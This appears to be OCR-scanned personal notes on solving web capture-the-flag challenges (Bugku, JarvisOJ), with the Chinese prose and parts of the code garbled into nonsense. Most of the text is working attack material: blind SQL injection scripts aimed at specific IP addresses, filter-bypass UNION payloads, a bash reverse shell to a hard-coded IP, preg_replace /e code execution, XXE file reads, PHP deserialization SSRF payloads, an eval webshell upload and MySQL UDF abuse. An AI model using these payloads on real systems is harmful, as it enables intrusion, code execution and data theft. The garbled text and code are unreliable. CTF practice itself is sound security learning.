/] SEFFEN 2%EF%BF%BD%230rl--+9 BARTIT? HEHIR, AR
// T id=1 9 BMAPAT, ABFRARIEAN
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc@07.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}

if(!$result) die("<br >something wae wrong ! <br>");
if($result) {

echo "id: ".$result->id."</br>";

echo "name:".$result->user."</br>";

$ SESSION[ 'admin'] = True;

?>

9) {



HMbgRESFA TEZERERARFET P ONEIINRRA
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
(EE TN

<?php

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);

}else{

die();

}

?>

X-FORWARDED-FOR = 127.0.0.1

—A)iE @preg_replace("/abcde/e", $_POST['a'], "abcdefg");

preg_replace() /e ®[LL RCE &% https://www.cnblogs.com/dhsx/p/4991983.html
HRAFR#H: This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.
BIN$AT: pat=/test/e&rep=phpinfo()&sub=jutst%20test
show_source('/var/www/html/s3chahahabDir/flag/flag.php')

FHERRFBILELE, #FiTurlfmhy, PUESIRE

> B . WNIEEFT —AMuk

H=/“JH, Hello World / Forms / Files

Forms WHSERIMAZRMIAE L, F self xss, &EH

Files WA LMENTIRE, HBREES LENER, FEK LERANAFERWHIFER L

FIRIRZ perl CGI, AT RCE, WML perl, IRICHFFIREST, 1T CTF BMEASEZEIHAIRKITRE

AT —E, BRNFELMSE, Gi ZaiBE Shellshocke Wi, RIRBIGEM B

BE BN FF AR5 5 3 M B, MR — 3ROSR R A R I R 4L

2% https://www.cgisecurity.com/lib/sips.html https://qntm.org/files/perl/perl_cn.html
HEEBXA https://gist.github.com/kentfredric/8f6ed343f4al6a34be8a J&iHE Kpayload
BEERIMAMBBIXE CZHK? 2W? wp https://github.com/73696e65/ctf-notes/blob/master/2016-ctf.csaw.io/web-200-i g
ot_id.md

ERETERE

bash%20-1%20>%26%20%2fdev%2ftcp%2f47.101.220.241%2f8008%210>%261%20| #shellRM. .

FEHIIE https://github.com/ctfs/write-ups-2016/tree/master/csaw-ctf-2016-quals/web/i-got-id-200

swjWIVRtazwtcARioEhUOpyzgKOrICunmNR1ngieqrFuGNgOVGPKoaxIDcmFQaYtnITdSKufADgWFkpImgpWTxXUBQEOfIJsjefzZf

REERAG
<? php
function getIp() {
$ip = "5
if (isset($_SERVER['HTTP_X_FORWARDED FOR'])) {
$ip = $_SERVER['HTTP_X_ FORWARDED FOR'];
} else {
$ip = $_SERVER[ 'REMOTE_ADDR'];
1



$ip_arr = explode(',"', $ip);
return $ip_arr[e];

}

$ip = getIp();

echo 'your ip is :'.$ip;

$sql = "insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

HEREREFS, BKEEE, RatEE
BE—R, NEHES
EFEBHYEEELNTEAL, K flaghiiflag, BEHAR

import requests
import sys
# ETHENEE, $¥TES, A from x for 1 RF x, 1
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else @ en
d))-- +"
url = "http://123.206.87.240:8002/web15/"
flag = "'
for i in range(1, 490):
print('IEERFWM: ', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)

header = {

'X-Forwarded-For': sqli
}
try:

html = requests.get(url, headers=header, timeout=3)
except:

flag += chr(ch)

print(flag)

break

# ITHEBER=S, SREMT, UEH
import requests
url = "http://123.206.87.240:8002/webl5/"
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)>'{1}' then sleep(3) else @ en
d))-- +"
flag = "'
for i in range(1, 40):
print('IEZERW: ', str(i))
left = 31
right = 129
while left < right:
mid = (left+right)//2

temp = right
sqli = sql.format(i, chr(mid))
header = {
'X-Forwarded-For': sqli
}
try:

html = requests.get(url, headers=header, timeout=2)
right = mid - 1

except:
left = mid



right = temp
flag += chr(left)
print(flag)

and ##%¥, anandd %t

BARELKEAN 9, 4K WEB1002-1

|| length("and")=3 LAWAM and REHILHE

& id = 1 ~ (length("and")=3)

http://123.206.87.240:9004/1ndex.php

order #idJE, ik ordorderer, A7, FEA or B, BH/XNE or, oorrderivl LT

order by 2 IE#, BHREBHHRANFE

ununionion seleselectct 1, 2%23 BF|EE 2

FTHAENER, XEHELAUE tamper R/EH sqlmap B—TF

WA EER B EHIEES, HEEEMN information_schema 18 Z|%iRE

?id=-1"' ununionion seleselectct 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=d
atabase()%23

HEE or #idJE B3 flagl, hint

SBE flagl AR

?id=-1"' ununionion seleselectct 1,group_concat(column_name) from infoorrmation_schema.columns where table_name=0
X666C616731%23

8% flagl. address

?id=-1" ununionion seleselectct 1,flagl from flagl%23

83| usOwycTju+FTUUzXosjr

?id=-1" ununionion seleselectct 1,address from flagl%23

BE T — Rkt

HMAT—RE, FHEBRRERFE, ZRMEEN

?id=0' and (extractvalue(l,concat(®x7e, (select group_concat(table_name) from information_schema.tables where tab
le_schema=database()),0x7e))) ;%23

#3%] XPATH syntax error: '~class,flag2~'

?id=0@' and (extractvalue(l,concat(@x7e,(select flag2 from flag2),0x7e)));%23

B3 7T —/MBflag: flag{Bugku-sql_6s-2i-4t-bug}

B MK b BITT ~=="

A0 51 0 i A e R 354 1 SR

nikto -host http://123.206.87.240:8007/web2/

OSVDB-6694: /web2/.DS_Store: Apache on Mac 0SX will serve the .DS_Store file, which contains sensitive informati
on. Configure Apache to ignore this file or upgrade to a newer version.

.DS_Store file // BRAMAMRSHEHZ

&4 js KR
wp:https://st98.github.io/diary/posts/2017-10-25-hacklu-ctf-2017.html

<?php
//require_once ‘'config.php’;

class SHITS{
private $url;
private $method;
private $addr;
private $host;

mindiiadt A Finamma.



privacve opiidiie,

function _ construct($method, $url){
$this->method = $method;
$this->url = $url;

}

function doit(){

$this->host = @parse_url($this->url)['host'];
$this->addr = @gethostbyname($this->host);
$this->name = @gethostbyaddr($this->host);
if($this->addr !== "127.0.0.1" || $this->name === false){
$not = ['.txt','.php',".xml'," " .html',".","'[',"]"];
foreach($not as $ext){

$p = strpos($this->url,$ext);

if($p){

die(":)");

}
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$this->url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($ch);
echo $result;

}else{

die(":)");

}

}
function __destruct(){

if(in_array($this->method,array("doit"))){

call_user_func_array(array($this,$this->method),array());

Yelse{

die(":)");

}

}
}
if(isset($_GET["gg"1)) {
@unserialize($_GET["gg"1);
} else {
highlight_file(_ FILE_ );
}

TH config.php , awn...
&M config.php BB, MWi& ssrf ViR, RMERMEHEE

$not = ['.txt', " '.php', .xml"', " .html',".","[',"']"'];
foreach($not as $ext){

$p = strpos($this->url,$ext);

if($p){

die(":)");

}
}

LA G g ibes

$gg = new SHITS('doit', '.php@68.183.31.62:991/config.php');
$gg = new SHITS('doit', '.php@localhost/config.php');

$gg = new SHITS('doit', 'localhost/config%2ephp');



2% https://www.secpulse.com/archives/65832.html
$ser = serialize($gg);

echo urlencode($ser) ."<br>";

unserialize($ser);

0%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00ur1%22%3Bs%3A32%3A%22 . php%4068.183.31.62%3A991%2Fconfig.php%
22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22d0it%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%0
OSHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D

Sy, FHNEEERFSIL, WERHTRERFSRIDSSIRIEE, HI unserialize(): Error at offset iR

WA LL3AT base6d i, ERFEING, XEFMH web %k, urlmBHRFE

HEFBAHH LA

R file:///var/www/html/configh2ephp ZiR4miLLET .

BEHL config.php O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00ur1%22%3Bs%3A33%3A%22F11e%3A%2F%2F%2Fvar%2Fw
ww¥%2Fhtml%2F config%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3AA4%3A%22d0i t%22%3Bs%3A11%3A%22%00SHITS%00a
ddr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D

HEmblixtt, FEEMERM, RERMHA 0%3A5%3A%22SHITS%22%3A2%3A%7Bs%3A10%3A%22%00SHITS%00ur1%22%3Bs%3A33%3A%22fi1
e%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2F config%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3
if($_SERVER['REMOTE_ADDR'] !== '::1' || $_SERVER['REMOTE_ADDR'] !== '127.0.0.1"'){

echo "aaawn";

}else{

$flag ="F#{wtf_5trpos_}";

)

<script>
_ = 'function $(){e=getEleById("c").value;length==16"bedf23233ace98aa$c7be9){tfls_aie}na_h@lnrg{e_0iit\'_ns=[t,n
,r,i];for(0=0;0<13;++0){ [0]);.splice(®,1)}}} \'<input id="c">< onclick=$()>0k</>\"');delete _var ","docu.)match(
/"]1;/)=null=[" write(s[o%4]buttonif(e.ment"';
for(Y in $=" ")
with(_.split($[Y]))
_=Jjoin(pop());
eval(_ )
</script>
* eval #m console.log( )
x|
function $() {
var e = document.getElementById("c").value;
if (e.length == 16)
if (e.match(/~be0f23/) != null)
if (e.match(/233ac/) != null)
if (e.match(/e98aa$/) != null)
if (e.match(/c7be9/) !'= null) {
var t = ["f1", "s_a", "i", "e}"];
var n = ["a", "_heol", "n"];
var r = ["g{", "e", "_0"];
i=["it'", "_", "n"];

var s = [t, n, r, i];

var

for (var o = 0; o < 13; ++0) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}

document.write('<input id="c"><button onclick=$()>0k</button>");
delete _
BEEHATH H IR 4 B AT 45 2 flag



simple php

1.SQLARH

2.tp3.2 sqliEA
https://www.anquanke.com/post/id/170341#h3-3
RURERIE, HHRtp3.2

AREEEENRRE, FEFZRMReEid

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and polygon(id)--
RIMELtpctf, Réflag, MBELKRFNFBRELRT Nflag

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and polygon(flag)--
nice, RMflagFBRWHEE, BT ALHE

TR BE W AEANG B, TR
http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if(1,sleep(3),0)--
R Isleep 3s, B 5 Hexp

import requests
flag = "'
cookies = {
"PHPSESSID': 're4g49sil8hfh4ovfrk71lnlo02'
}
for i in range(1,33):
for j in '0123456789abcdef"':
url = "http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((ascii(substr((select flag
from flag limit ©,1), "+str(i)+',1))="+str(ord(j))+"'),sleep(3),0)--"

try:

r = requests.get(url=url,timeout=2.5,cookies=cookies)
except:

flag += j

print flag

break

tp XJUVNRIREHAE
https://xz.aliyun.com/t/2812#toc-11
https://www.anquanke.com/post/id/157817
https://www.secpulse.com/archives/29826.html
https://bbs.ichunqiu.com/thread-38901-1-1.html
SBZIE, phpstudy B EREIFIFEE



http://web.jarvisoj.com:32794/index.php~

(EEN AT

<?php
require("config.php");
$table = $ GET['table']?$ GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc “secret_{$table} ") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];

?>

?table=flag IE®EWIR => F7E secret_flag X

ERBXMRES T, BMEARKS MysQL REFS5EEFR

Wl create table desc HEHEE

M create table “desc’ JESRINIIAT

A 2R AT

desc “abc’ “def”

desc abc def FRR—HM

%4 H => desc “secret_flag’

C g2 desc “secret_flag' ™ KHIANARPIT desc secret_flag’)

JBRF AT

?table=flag %20  %20union%20select%201

RREREFZN, KIHER flag{xxx}

AERL, RRERT —FHEMDS, WA limit Kk

?table=flag %20  %20union%20select%201%201imit%201,2

IaziESE

?table=flag %20  %20union%20@select%20group_concat(column_name)%20from%20information_schema.columns%20where%20tabl
e_name=0x7365637265745f666c6167%201imit%201,1

(M4t table_name MEEHIT hex Fwid)

ERFEFZE => flagUwillNeverKnow

BEBHMNE table=flag %20 %20union%20select%20flagUwillNeverkKnow%20from¥%20secret_flagh201limit%201,1
B3|flag

PS: WATUUARH limit, EH# where 0, HEMEMERNE, WEHEBREE

?table=flag” %20  %20where%200%20union%20select%20flagUwillNeverknow%20from%20secret_flag

"BEMH AP R-NRRABRA TR, mRE, B . ... "

AT —8ER, BRI M, 2R filter BIFEMG, HEKRT

FEAER—ANEF b, Bn—ARRAE

BRERERANXAFEMW, FRWE, RAMIFRERIM2HHIKRE

Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev Perl/v5.16.3

Warning: fopen(submi.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on 1i
ne 24

HHERARTUXMHEE, php://filter/read=convert.base64-encode/resource=index

MM ER Cross domain forbidden!, fiitRMMTMT waf, HWEAE

fopen() BFMiZEHHET —A ".php", XEW LA %00 Sl

fopen(index.jj): failed to open stream SgitmIh

B H R bt jpg » FIUEENMBEFEAEN—AE, RFH fopen() 8%

HE, EERRER, XEAIY, AEA <?php, & waf, B <script language="php">eval($_POST[1])</script>
RJ5 page=uploads/1552805580.pg%00 HEIH flag, HMAFEILT]

XBHEAREIER, <?=2> RALK, BREEMEIE, £% <script language="php"> &7, B&EX

AEE E S — B ANE



ERIEIRE HinPL2e/home/ctf/flag. txtFHiflaglE.
%% https://blog.spoock.com/2016/11/15/jarvisoj-web-writeup-1/

FH AL BEXEWRAIE RIS MIRE], HIPOSTZ Blcontent-typeffiapplication/x-www-form-urlencoded##i, EE—LIELRLE, &
W& BT RE RN EE

POST #RAZHHE i U # I J7 3K
application/x-www-form-urlencoded
multipart/form-data
application/json

application/xml

tbim: BRikNapplication/x-www-form-urlencoded#EW I R FEH A application/json
BT 4£ N JSONAE A HdE, XMLIFE

XA T BUR A AT AExm LT H T 7T BEAF FEXXE IR

function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}

}

return xhr;

function send(){
evil input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/vl.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;

}
¥
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":""+evil _input+'","value":"own"}");
}
payload:

Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE datal[

<IENTITY file SYSTEM "file:home/ctf/flag.txt">
1>

<data>&file;</data>

/showimg.php?img=c2hvd21tZy5waHA= 2EX showing.php J5i%



<?php $f=$_GET[img']; if (lempty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,/')===FALSE &&
stripos($f,'\\')===FALSE && stripos($f,' pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>
[ # 7 48 index.php

<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class') && $g = $_GET['class"; if (lempty($g)) { $x =
unserialize($g); } echo $x->readfile(); 7>
shield.php

<?php /Mlag is in pctf.php class Shield { public $file; function __ construct($filename = ") { $this -> file = $filename; } function
readfile() { if (lempty($this->file) && stripos($this->file,'..")===FALSE && stripos($this->file,'/')===FALSE && stripos($this-
>file,'\V)==FALSE) { return @file_get contents($this->file);}}} ?>

payload:

/index.php?class=0:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}

jarvisoj port51

B ~ sudo curl --local-port 51 http://web.jarvisoj.com:32770/
<!DOCTYPE html>
<html>
<head>
<title>Web 100</title>
<style type="text/css">
body {
background:gray;
text-align:center;

}
</style>
</head>

<body>
<h3>Yeah!! Here your flag:PCTF{M45t3r_oF_CuRl}</h3>
</body>
</html>

jarvisoj login

header sk B & I hint: “select * from admin where password=""-md5($pass,true).""
md5 ( string $str [, bool $raw_output = FALSE 1) : string

string B H ) R/

raw A TRUE B} 16 F/F —i#t i3, BRINA false 32 FR/F 7Nt

%% hitps://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html
http://mww.am0s.com/functions/204.html

AANHEHF e fifdyop

BENZ G, 4K sql iEHZEA select * from admin where password="‘or'6 ]!, (b’
RIS, 18377 Re% Y

jarvisoj RE


https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html
http://www.am0s.com/functions/204.html

B, W, ULEFKIWEBRENE, BB T ? A BEA Mhelp_me R HHEA B IE KK

FEHZTA udf.so HISUMF, IDA B3, RMHEAKIMERE GLYRIEZ D

HIJLRRIE TMySQLIBIUBLE T, JERAMIE udf.so tRIREHL,
http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%ID%831inux%E5%BI%B3%ES%8F%B/

¥ udf.so SAZFIMySQLEYHEMFBE, FERSCTFHR

mysql> show variables like "%plugin%";

| default_authentication_plugin | mysql_native_password |
| plugin_dir | /usr/lib/mysql/plugin/ |
o m e e o m e +

2 rows in set (0.00 sec)

mysql> create function help_me returns string soname 'udf.so';
Query OK, @ rows affected (0.00 sec)

mysql> select help_me();

1 row in set (0.00 sec)

mysql> create function getflag returns string soname 'udf.so';
Query OK, @ rows affected (0.00 sec)

mysql> select getflag();

e mm e e oo +
| getflag() I
e mm e e oo +
| PCTF{Interesting USer_d3fined_Function} |
e mm e oo +

1 row in set (0.00 sec)



MM X hash § B E, PMET

<?php
$auth = false;
$role = "guest";

$salt = '32342';
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $ _COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is ";
} else {
echo "<h3>0Only Admin can see the flag!!</h3>";

?>

<?php
error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id']) {
header('Location: index.php?id=1");
exit();
¥
$id=$_GET['id'];
$a=$%_GET['a'];
$b=$_GET['b'];
if(stripos(%$a,'.")) {
echo 'Hahahahahaha';
return ;
}
$data = @file_get contents($a, 'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5
and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
require("flag.txt");
}
else {
print "work harder!harder!harder!";

?>

payloadl: index.php/?id=a&a=php://input&b=%0034253
post: 1112 is a nice lab!

eregi() &# %00 HMWi, H strlen() &%

==> <!--index.phps--> Come ON!!! {/~HT2mCpcvOLf}

HNZEZR, B33 E web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1



RO, kgt

- ERERSGT, /*+/

- FHESsE, BEAWUARGETER, FAHEERNBEASTUER O S, FAMRmTUREZRNTH
- RS EBRTHK %20 %09 %0d %0b %0c %od %a® %0a

XERLAA /*233%/ RETHK

order by WHER, MFiZE
/?id=2/*233*/uunionnion/*233*/seselectlect/*233*/1,2,3%23
B3 3, UHFBRHHBE 3

payload2:

IR A B B 4
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(schema_name)/*233*/frfromom/*233*/information_s
chema.schemata%23

==> information_schema, test

IREUA B3 P Y B B 3R 4
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(table_name)/*233*/frfromom/*233*/information_sc
hema.tables/*233*/where/*233*/table_schema=database()%23

==> content

(A EPP AT RS

RETE FB 4
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(column_name)/*233*/frfromom/*233*/information_s
chema.columns/*233*/where/*233*/table_name=0x636f6e74656e74%23

==> id,context,title

REUT A B
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(id,context,title)/*233*/frfromom/*233*/content%
23

==> 1PCTF{Fin4lly U got_i7 C@ngRatulation5}hi666

R—ANENKE, WANEL, DB R
HAZEME S, BFEL, B4 app.js
#%& Wrong Password!!
$.post("checkpass.json", t,
function(t) {

self.checkpass(e) ? self.setState({

errmsg: "Success!!”,

errcolor: b.green400

}) : (self.setState({

errmsg: "Wrong Password!!"

)
)
BRIk
function(e) {
if (25 !== e.length) return ! 1;

for (var t [1, n =0; n < 25; n++) t.push(e.charCodeAt(n));

for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 3
73557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11
, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135],
[76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 2
21], [218, 233, 17, 56, 151, 28, 158, 196, 79, 11, 158, 128, 52, 228, 189, 187, 219, 87, 90, 221, 45, 201, 14, 1
06, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145,

~na P ~n Fa-a aarm -~ A an Anmn ~a - ~- P ~Ann -~ am—a~ —_ - an Ana anma N ann aa—



241, 1Y0, 89|, [134, 145, 3b, 255, 13, 239,
74, 117, 25e, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1
, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 14
8, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63,
41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 2
5, 26, 1lee6, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141
, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, @, 89, 134, 201, 255, 101, 22, 9
8, 215, 139, o, 78, 165, o, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 1@, 23
8, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [11e, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256,
141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 10
4, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183
, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43,
41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256,

69, 21, 152, 155, 88, 11, 232, 146, 238, 178, 123, 135, 158, 161, 249, 236], [251, 96, 1@3, 188, 188, 8, 33, 39
, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, @, 135, 119], [192, 206, 73, 92, 174, 130, 1
64, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [186, 63, 252, 2082, 153, 6,
193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 182, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65
, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 8
3, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 1
75, 164, 37, 176, 94, 232, 82, @, 47, 212, 187, 111, 97, 153, 119, 85, 147, 256, 1308, 248, 235], [221, 178, 50,
49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142
, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]],
n=20;n< 25; n++) {

212, 135, 85, 194, Zvv, S0, 1/9, /8, 5L, 10, 232, 132, bY, 122, 11/,

for (var i = 0, a = 0; a < 25; a++) 1 += t[a] * o[n][a];
if (i !== r[n]) return ! 1

}

return ! @

}

BT —ANEEE, B TEA
import numpy as np
o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 13
2, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238
, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 20
1, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 20
7, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 1
22, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74
, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86
, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 1
67, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 2
2, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85,
224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, ©, 89, 134, 201, 255, 10
1, 22, 98, 215, 139, @, 78, 165, ©, 126, 48, 119], [194, 156, 1@, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56
, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 9
7, 256, 141, 199, 3, 3@, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151,
173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33,
219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 48], [144, 246, 73, 161, 134, 112, 146, 212, 1
21, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105,
2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8
, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, @, 135, 119], [192, 206, 73, 92, 174

, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206,
153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245,
, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180,
7, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93,

51, 204, 136, 180, 196], [106, 63, 252, 202,

144, 102, 20, 194, 207, 66], [154, 98, 219, 2
181, 96, 165, 78, 121, 55, 214], [193, 94, 10
212, 74, 18, 217, 219, 89, 212], [164, 228, 5

, 133, 175, 164, 37, 176, 94, 232, 82, @, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 1

78, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133,
236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233,
198]]

28, 88, 83, 32,
216, 13,

r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687,
315157, 299242, 305418, 313569, 269307, 338319, 306491,

237, 344478, 362136, 331815,

143, 145,

45, 13, 215, 204,

112, 217, 194,

141, 226, 118, 233, 156], |
114, 221, 150, 51, 136, 31,

258725, 267444, 373557, 322
351259]



o = np.array(o)

r = np.array(r)

x = np.linalg.solve(o,r)
res = "'

for i in x:
res += chr(int(str(i)[0:-2]))
print(res)

THRZSHAHKIEL, XFMEBEAHT phpinfo, 2HREEREBNME, UsBEHRE
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
public $mdzz;
function __construct() {
$this->mdzz = 'phpinfo();"';
}

function _ destruct() {

